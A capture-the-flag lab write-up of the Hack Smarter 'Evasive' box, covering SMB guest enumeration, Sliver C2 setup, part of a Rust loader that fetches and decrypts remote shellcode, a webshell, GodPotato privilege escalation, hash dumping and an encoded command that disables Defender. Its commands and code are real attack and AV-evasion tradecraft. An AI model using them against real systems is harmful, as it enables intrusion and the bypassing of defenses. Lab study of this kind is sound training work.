Hack Smarter - Evasive

Hack Smarter - Evasive Write Up

I felt compelled to create this write up because I really like this box. There’s also a few things I’ve really liked about this new platform. For one, not being tied to a particular course means we have more interesting room for scope. And for two, well I do think allowing public writeups helps everyone. This write up somewhat responds to the live stream Tyler ran whilst working on this lab. If you haven’t seen it, I highly recommend having a look through:

https://www.youtube.com/watch?v=CcadzJh2O44&list=PLMoaZm9nyKaOUrEWwohv1ZdPmX2qX2A4t

In particular, we’re going to skip most enumeration to focus on the parts I thought were interesting or different. I’ve also sought different processes from the initial 0xb0b writeup. And obviously - I’m coming at this with the benefit of only presenting parts that worked, as opposed to a live stream.

Enumerating out guest access

Tyler’s video initially notes that an anonymous SMB connection was unable to operate successfully with netexec, but then connects correctly with smbclient. The subtle difference is that smbclient with no username actually provides a default username, which Windows interprets as “Guest”. Netexec actually has separate documents worth reading to explain this:

So abusing this, we see as follows:

none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u '' -p ''                                   
SMB         10.0.16.186     445    WINSERVER01      [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB         10.0.16.186     445    WINSERVER01      [-] Winserver01\: STATUS_ACCESS_DENIED 

none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p '' 
SMB         10.0.16.186     445    WINSERVER01      [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB         10.0.16.186     445    WINSERVER01      [+] Winserver01\a: (Guest)

none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p '' --shares
SMB         10.0.16.186     445    WINSERVER01      [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB         10.0.16.186     445    WINSERVER01      [+] Winserver01\a: (Guest)
SMB         10.0.16.186     445    WINSERVER01      [*] Enumerated shares
SMB         10.0.16.186     445    WINSERVER01      Share           Permissions     Remark
SMB         10.0.16.186     445    WINSERVER01      -----           -----------     ------
SMB         10.0.16.186     445    WINSERVER01      ADMIN$                          Remote Admin
SMB         10.0.16.186     445    WINSERVER01      C$                              Default share
SMB         10.0.16.186     445    WINSERVER01      docs            READ            
SMB         10.0.16.186     445    WINSERVER01      IPC$            READ            Remote IPC

This should lead to two things, first, a rid-brute:

none@kali:~/practice/evasion$ nxc smb 10.0.16.186 -u 'a' -p '' --rid-brute
SMB         10.0.16.186     445    WINSERVER01      [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:False)
SMB         10.0.16.186     445    WINSERVER01      [+] Winserver01\a: (Guest)
SMB         10.0.16.186     445    WINSERVER01      500: WINSERVER01\Administrator (SidTypeUser)
SMB         10.0.16.186     445    WINSERVER01      501: WINSERVER01\Guest (SidTypeUser)
SMB         10.0.16.186     445    WINSERVER01      503: WINSERVER01\DefaultAccount (SidTypeUser)
SMB         10.0.16.186     445    WINSERVER01      504: WINSERVER01\WDAGUtilityAccount (SidTypeUser)
SMB         10.0.16.186     445    WINSERVER01      513: WINSERVER01\None (SidTypeGroup)
SMB         10.0.16.186     445    WINSERVER01      1000: WINSERVER01\alfonso (SidTypeUser)
SMB         10.0.16.186     445    WINSERVER01      1001: WINSERVER01\roger (SidTypeUser)

And obtaining the contents of that “docs” folder:

none@kali:~/practice/evasion$ smbclient '\\10.0.16.186\Docs'       
Password for [WORKGROUP\none]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 13 02:22:48 2025
  ..                                DHS        0  Mon Oct 13 08:11:59 2025
  mail_doc.pdf                        A     1517  Mon Oct 13 02:20:03 2025
  old_user_setup_doc.pdf              A     5185  Mon Oct 13 02:22:48 2025

                7863807 blocks of size 4096. 1871047 blocks available
smb: \> get mail_doc.pdf
getting file \mail_doc.pdf of size 1517 as mail_doc.pdf (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
smb: \> get old_user_setup_doc.pdf
getting file \old_user_setup_doc.pdf of size 5185 as old_user_setup_doc.pdf (5.0 KiloBytes/sec) (average 3.1 KiloBytes/sec)

I’m not going to spoil the special trick regarding passwords, but allow me to point out that many real world organisations with scheduled password expiry nearly always have a bunch of users with exactly this sort of thing going on.

Accessing Roger’s Mail

I’m glad Tyler had issues with Evolution, because so did I. I really feel there’s something unintuitive about the UI, because mail clients that I’m used to would simply popup saying “Nah mate try a different password” as opposed to locking an account out, which I managed to do even knowing the password before installing Evolution.

Initial Sliver setup

This walkthrough was done on the recently released Sliver 1.6.6. On one hand this is a bit of an exciting release as 1.6 was due for a long time. But pretty soon I hit this particular bug, which is frustrating for a number of reasons. One of those being that “disable encoding” runs counter to attempting to run evasion. However, a new feature we do have is the ability to edit this file:

~/.sliver/configs/server.json

And set this:

"donut_bypass": 1,

Now, why? Because the “donut” tool used by Sliver when generating implants, by default, bundles an AMSI bypass. The theory is that this assists with evasion. However, the bypass in question is very well signatured and very affective at setting off Windows Defender. It’s objectively better disabling it, and if you find an AMSI bypass important you can bundle your own in your loader.

Now lets setup an implant:


sliver > profiles new --mtls 10.200.32.3:8088 --format shellcode winserver

[*] Saved new implant profile winserver
sliver > mtls -l 8088

[*] Starting mTLS listener ...

[*] Successfully started job #1
sliver > profiles generate winserver -G

[*] Generating new windows/amd64 implant binary

Similar to the AMSI bypass issue, note that “profiles” has a --evasive parameter, but I found trying to use it made everything get flagged by behavioural detection as soon as it executed.

Sliver - error reporting

A side note here is that I initially missed the arguement and was running “mtls 8088”. This claims to run correctly, but then simply binds to the wrong port (silently). You’re lucky I wasn’t streaming because you didn’t want to watch me debug this for an hour. I would really have appreciated an error message here. But on with the code.

Like Tyler I have a custom loader - I’m going to avoid publishing mine in full because I want it to keep working, but it’s written in Rust and includes its own encrypter. One of the goals here is that in a real world, I can host the stager blob somewhere other than my Sliver server. This is quite helpful in hampering red team forensics, because that blob might be on some unrelated Wordpress site. Enough of this to demonstate its function is shown here.

fn get_code() -> Result<Vec<u8>, ureq::Error> {

    let agent = ureq::agent();
    let mut bytes: Vec<u8> = Vec::new();

    agent
    .get("http://url/MY_BLOB.enc")
    .call()?
    .body_mut()
    .as_reader()
    .read_to_end(&mut bytes)?;
    Ok(bytes)
}

  

fn decrypt_shellcode(shellcode: &[u8]) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
    // Hardcoded 32-byte key (must match the encryption key)

    let key_bytes: [u8; 32] = [
      /// NEVER REPEATED

    ];
    let key = chacha20poly1305::Key::from_slice(&key_bytes);
    let cipher = XChaCha20Poly1305::new(key);

So to build our app, we’re going to do the following, using the Sliver bundled shellcode as the input.

cargo run --bin encrypt --  UGLY_MOST.bin 
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s
     Running `target\debug\encrypt.exe UGLY_MOST.bin`

That’s going to give us a .enc file to host. Then fresh compile our dropper with the right URL and email it to our victim.

cargo build --release
   Compiling calcpopper v0.1.0 (C:\Migrated\calcpopper)
    Finished `release` profile [optimized] target(s) in 7.01s

Tyler notes that attaching an executable would never work in the real world and I have to say, it would never work to the point I would never have tried this. Emailing a URL that a victim can download from should be far more likely. But I digress, because running this process gave us our first shell.

sliver (UGLY_MOST) > whoami

Logon ID: WINSERVER01\alfonso
[*] Current Token ID: WINSERVER01\alfonso

Traversal to the IIS Virtual User

Once the next vector was identified, Tyler used a revshell found on Github. Personally I used this file that ships with Kali: /usr/share/webshells/aspx/cmdasp.aspx. Rather than a revshell, it let me run random commands, including just spawning another Sliver implant run as the IIS Virtual User.

Side Note - Defender?

This to me is surprising. Both of these have been public for a long time. If you’ve done a certain HTB Pro Lab, one of the specific challenges is getting a webshell uploaded without Defender killing it, despite that lab being several years old. It leaves me wondering if there’s a regression in Defender somewhere.

Regardless, let’s enumerate our privileges:

sliver (RETIRED_WISEGUY) > execute -o whoami /priv

[*] Execute: whoami [/priv]
[*] Output:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Potatoes

Once again I’m surprised by Defender, as Tyler shows us compiling the EfsPotato exploit that is more than five years old, and having it not be flagged by Defender.

The process we use below runs GodPotato, which is definitely flagged, but by executing in memory and avoiding disks, we get away with launching a new implant like so.

sliver (RETIRED_WISEGUY) > execute-assembly GodPotato-NET4.exe --  -cmd "c:\inetpub\wwwroot\calcpopper.exe"


 ⠇  Executing assembly ...
[!] rpc error: code = DeadlineExceeded desc = implant timeout
sliver (RETIRED_WISEGUY) > 
sliver (RETIRED_WISEGUY) > use

[*] Active session RETIRED_WISEGUY (17b85da9-6a5b-4847-b5ea-6d39cb24841e)

This new session can make our existing user an admin.

sliver (RETIRED_WISEGUY) > execute -o net localgroup administrators roger /add

[*] Execute: net [localgroup administrators roger /add]
[*] Output:
The command completed successfully.

We also needed to do the following to access the Roger account remotely. I will say this rarely matters in business, because Domain based accounts are not affected by this default.

sliver (RETIRED_WISEGUY) > execute -o reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

[*] Execute: reg [add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f]
[*] Output:
The operation completed successfully.

Post Compromise

Technically you can dump hashes from Sliver, like so:

sliver (RETIRED_WISEGUY) > armory install hashdump

[*] Installing extension 'hashdump' (v1.0.0) ... 

sliver (RETIRED_WISEGUY) > hashdump

[*] Successfully executed hashdump
[*] Got output:
Administrator:500:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
Guest:501:Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
DefaultAccount:503:DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
WDAGUtilityAccount:504:WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
alfonso:1000:alfonso:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
roger:1001:roger:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::

You’ll note however, all the given hashes are the hash for the “Empty string”, which is caused by Defender getting in the way. The most simply way to evade Defender at this point is do it through netexec.

none@kali:~/practice/evasion$ nxc smb 10.0.16.82 -u 'roger' -p 'REDACTED' --sam

This will get you all but the last challenge.

Taking a screenshot

You can actually take a screenshot with Sliver right back when you first get an unprivileged logon for Alfonso.

sliver (UGLY_MOST) > screenshot

[*] Screenshot written to /tmp/screenshot_Winserver01_20260126104213_3220073968.png (78.3 KiB)

Disabling Defender

It turns out this is unnecessary. But if you’d like to, this will take care of it. Decode the Base64 yourself if you’d like to see what’s going on.

sliver (RETIRED_WISEGUY) > sharpsh -- '-e -c U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ=='

[*] sharpsh output:

Dumping Keepass with Netexec

Netexec actually has a module for this specific task:

https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-keepass

This has worked on every box I’ve done with Keepass except this one. Why? I don’t know. But I showed you how to execute as SYSTEM - at this point you can reset Alfonso’s password and RDP in.